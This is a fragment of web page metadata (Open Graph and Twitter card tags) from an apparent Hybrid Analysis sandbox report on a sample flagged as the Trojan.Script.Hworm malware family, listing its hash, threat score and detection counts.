reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a06f443a1ca6cbaf9e8cd3a2ff0e7ec0d982d654709e952fc68621450926c509"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Script.Hworm Sample a06f443a1ca6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a06f443a1ca6…. Malware family: Trojan.Script.Hworm. Threat score 100/100. 1/26 AV engines flagged this file. 2 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5f","11",{}]]